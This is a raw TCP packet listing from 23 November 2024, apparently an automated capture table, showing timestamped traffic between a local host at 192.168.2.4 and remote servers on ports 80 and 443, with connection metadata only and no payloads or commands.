Nov 23, 2024 03:21:22.778995991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.779108047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.779352903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.782871962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.782938004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.783044100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.786612988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.786745071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.786792994 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.790494919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.790600061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.790679932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.794294119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.794440031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.794493914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.798089981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.798209906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.798283100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.801898003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.801999092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.802067041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.805747032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.805860043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.805921078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.809516907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.809639931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.809685946 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.813325882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.813438892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.814647913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.817148924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.817262888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.817336082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.820966005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.821062088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.822640896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.824778080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.824928045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.825000048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.827897072 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.827967882 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.827976942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828052044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.828355074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828397036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828408957 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828440905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.828546047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828557968 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828568935 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828579903 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.828587055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.828593969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.828613043 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.828646898 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.872939110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.884937048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.885005951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.885168076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.898663998 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:22.899338007 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:22.899348974 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:22.900324106 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:22.900329113 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:22.947521925 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.947577000 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.947588921 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.947664976 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.957160950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.957206011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.957217932 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.957262039 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:22.957276106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.957279921 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.957308054 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:22.958780050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.958858013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.959021091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.961896896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.962003946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.962074995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.965059042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.965142012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.965198040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.968185902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.968287945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.968369961 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.971319914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.971451998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.971626043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.974478006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.974636078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.974786043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.977612019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.977730036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.977802038 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.980772018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.980874062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.980938911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.983923912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.984041929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.984108925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.987072945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.987186909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.988209009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.990214109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.990323067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.990462065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.993357897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.993470907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.993834972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.996509075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.996603012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.996680975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.999660969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.999773026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.000346899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.002815962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.002924919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.003026009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.005986929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.006068945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.006149054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.009100914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.009210110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.009331942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.012247086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.012363911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.012443066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.014688969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.014791965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.017091990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.017172098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.017210007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.017266035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.019519091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.019612074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.019846916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.021959066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.022078037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.022164106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.024380922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.024460077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.024532080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.026781082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.026901960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.028237104 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.029028893 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.029099941 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.029139042 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.029239893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.029249907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.029282093 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.029314995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.031651974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.031773090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.031848907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.033225060 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.033273935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.033350945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.033715010 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.034053087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.034166098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.034286022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.036585093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.036667109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.036736012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.038907051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.039014101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.039082050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.041342974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.041454077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.041578054 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.041635036 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.041640997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.043747902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.043857098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.043917894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.044614077 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.044658899 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.044744015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.044899940 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.046158075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.046269894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.046333075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.048615932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.048708916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.048799992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.051007032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.051136971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.051342964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.053014040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.053061962 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.053129911 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.053174973 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.053440094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.061491966 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.061578035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.061634064 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.061702013 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.069758892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.069855928 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.069912910 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.071614027 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.072164059 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.072185993 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.072844982 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.072850943 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.078130960 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.078193903 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.078248978 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.086493969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.086587906 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.086638927 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.094861031 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.094952106 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.094976902 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.095026016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.095443964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.095501900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.095547915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.096651077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.096708059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.103209972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.103251934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.103283882 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.103337049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.140167952 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.140559912 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.140579939 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.141104937 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.141113043 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.167675018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.167809963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.167866945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.168515921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.168634892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.168720007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.170211077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.170861006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.170912981 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.170942068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.172547102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.172607899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.172656059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.174242020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.174331903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.174360991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.175903082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.176016092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.176120996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.177572966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.177628040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.177685976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.179225922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.179280043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.179310083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.180891037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.180910110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.180952072 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.182548046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.182605028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.182643890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.184205055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.184256077 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.184297085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.185868025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.185962915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.185977936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.187519073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.187576056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.187613964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.189205885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.189266920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.189294100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.190846920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.190898895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.190938950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.192540884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.192598104 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.192641020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.194181919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.194233894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.194267035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.195858955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.195925951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.195985079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.197516918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.197628021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.197664022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.199172974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.199218988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.199282885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.199841022 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.199888945 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.199933052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.199986935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.200814009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.200867891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.200942039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.202517986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.202577114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.202608109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.204014063 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.204070091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.204140902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.204195023 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.204237938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.205826998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.205905914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.205916882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.207487106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.207555056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.207652092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.209156990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.209249973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.209294081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.210796118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.210870028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.210908890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.212469101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.212518930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.212522984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.214118958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.214175940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.214216948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.215789080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.215850115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.215884924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.217498064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.217567921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.217636108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.219131947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.219189882 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.219228029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.220639944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.220761061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.220830917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.222028971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.222094059 CET	49786	80	192.168.2.4	34.116.198.130
